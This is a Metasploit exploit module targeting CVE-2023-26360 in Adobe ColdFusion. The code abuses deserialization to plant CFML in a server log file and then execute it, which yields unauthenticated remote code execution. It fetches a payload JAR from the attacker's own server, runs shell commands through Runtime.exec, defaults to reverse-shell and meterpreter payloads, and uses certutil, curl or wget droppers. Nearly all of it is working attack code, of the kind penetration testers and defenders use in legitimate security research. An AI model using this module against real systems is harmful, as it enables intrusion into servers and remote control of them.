##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe
          ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in
          order to gain remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sf', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-26360'],
          ['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']
        ],
        'DisclosureDate' => '2023-03-14',
        'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux.
        'WfsDelay' => 30,
        'Targets' => [
          [
            'Generic Java',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => [ ARCH_JAVA ],
              'DefaultOptions' => {
                'PAYLOAD' => 'java/meterpreter/reverse_tcp'
              }
            },
          ],
          [
            'Windows Command',
            {
              'Type' => :cmd,
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            },
          ],
          [
            'Windows Dropper',
            {
              'Type' => :dropper,
              'Platform' => 'win',
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix Command',
            {
              'Type' => :cmd,
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_perl'
              }
            },
          ],
          [
            'Linux Dropper',
            {
              'Type' => :dropper,
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            # The following artifacts will be left on disk:
            # The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)
            # * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class
            # * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class
            # If a dropper payload was used, a file with a random name may be left.
            # * Windows: C:\Windows\Temp\XXXXXX.exe
            # * Linux: /tmp/XXXXXX
            ARTIFACTS_ON_DISK,
            # The following logs will contain IOCs:
            # C:\ColdFusion2021\cfusion\logs\coldfusion-out.log
            # C:\ColdFusion2021\cfusion\logs\exception.log
            # C:\ColdFusion2021\cfusion\logs\application.log
            IOC_IN_LOGS
          ],
          'RelatedModules' => [
            'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'
          ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8500),
        OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
        OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),
        OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    return CheckCode::Unknown('Connection failed') unless res

    # If ColdFusion is deployed with the Development profile (rather than Production) we will get a directory listing
    # returned for the first request. We can detect that here and send a second request to a CFC endpoint that we
    # know will return a ColdFusion cookie.
    if res.code == 200 && res.body.include?('<title>Directory Listing For [/]</title>')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => '/CFIDE/componentutils/cfcexplorer.cfc'
      )

      return CheckCode::Unknown('Connection failed') unless res
    end

    # We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint
    # to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.
    # https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69

    if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/
      return CheckCode::Detected('ColdFusion detected but version number is unknown.')
    end

    CheckCode::Unknown('Could not connect to the target')
  end

  def exploit
    unless datastore['CFC_ENDPOINT'].end_with?('.cfc')
      fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')
    end

    case target['Type']
    when :java
      # Start the HTTP server
      start_service

      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader

      # Handle the payload...
      handler
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end

  def on_request_uri(cli, _req)
    if target['Type'] == :java
      print_status('Received payload request, transmitting payload jar...')

      send_response(cli, payload.encoded, {
        'Content-Type' => 'application/java-archive',
        'Connection' => 'close',
        'Pragma' => 'no-cache'
      })
    else
      super
    end
  end

  def trigger_urlclassloader
    # Here we construct a CFML payload to load a Java payload via URLClassLoader.

    # NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.

    cf_url = Rex::Text.rand_text_alpha_lower(4)

    # Create a URL pointing back to our HTTP server.
    cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}')/>"

    cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)

    # Get a reference to java.lang.reflect.Array so we can create a URL[] instance.
    cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>"

    cf_array = Rex::Text.rand_text_alpha_lower(4)

    # Create a URL[1] instance.
    cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>"

    # Set the first element in the array to our URL.
    cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>"

    cf_loader = Rex::Text.rand_text_alpha_lower(4)

    # Create a URLClassLoader instance.
    cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>"

    # Load the remote JAR file and instantiate an instance of metasploit.Payload.
    cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>"

    execute_cfml(cfc_payload)
  end

  def execute_command(cmd, _opts = {})
    cf_param = Rex::Text.rand_text_alpha_lower(4)

    # If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags.
    cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>"

    # Set our cf_param with the data in the requests form data, this is the command to run.
    cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>"

    # Here we construct a CFML payload to stage the :cmd and :dropper commands...
    shell_name = nil
    shell_arg = nil

    case target['Platform']
    when 'win'
      shell_name = 'cmd.exe'
      shell_arg = '/C'
    when 'linux', 'unix'
      shell_name = '/bin/sh'
      shell_arg = '-c'
    end

    cf_array = Rex::Text.rand_text_alpha_lower(4)

    # Create an array of arguments to pass to exec()
    cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>"

    cf_runtime = Rex::Text.rand_text_alpha_lower(4)

    # Get a reference to the java.lang.Runtime class.
    cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>"

    # Call the static Runtime.exec method to execute our string array holding the command and the arguments.
    cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>"

    # The end of the If tag.
    cfc_payload << '</cfif>'

    execute_cfml(cfc_payload, cf_param, cmd)
  end

  def execute_cfml(cfml, param = nil, param_data = nil)
    cfc_payload = '<cftry>'

    cfc_payload << cfml

    cfc_payload << "<cfcatch type='any'>"

    cfc_payload << '</cfcatch>'

    cfc_payload << '<cffinally>'

    # Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands.
    # GetCurrentTemplatePath returns 'C:\ColdFusion2021\cfusion\wwwroot\..\logs\coldfusion-out.log' as this is the
    # template we are executing.
    cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>"

    cfc_payload << '</cffinally>'

    cfc_payload << '</cftry>'

    # We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here.
    unless cfc_payload.length < 950
      fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file')
    end

    # We dont need to call a valid CFC method, so we just create a random method name to supply to the server.
    cfc_method = Rex::Text.rand_text_alpha_lower(1..8)

    # Perform the request that writes the cfc_payload to the CF_LOGFILE.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
      'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
      'vars_post' => { '_variables' => "{#{cfc_payload}" }
    )

    # For Coldfusion deployed with the Development profile, success here will be a 500 error with a known title tag in
    # the body. For Production profiles, success here will be a 200 response code and a different known title tag in
    # the body.
    unless res && ((res.code == 200 && res.body.include?('<title>Error</title>')) || ((res.code == 404 || res.code == 500) && res.body.include?('<title>Error Occurred While Processing Request</title>')))
      fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file')
    end

    # The relative path from wwwroot to the CF_LOGFILE.
    cflog_file = datastore['CF_LOGFILE']

    # To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters
    # to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.
    if target['Platform'] == 'win'
      classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\\')}"
    else
      classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}"
    end

    json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"

    vars_post = { '_variables' => json_variables }

    unless param.nil? || param_data.nil?
      vars_post[param] = param_data
    end

    # Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be
    # executed as a parameter which will in turn be read back out by the CFML in the cfc_payload.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
      'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
      'vars_post' => vars_post
    )

    unless res && ((res.code == 200 && res.body.include?('<title>Error</title>')) || ((res.code == 404 || res.code == 500) && res.body.include?('<title>Error Occurred While Processing Request</title>')))
      fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file')
    end
  end

end
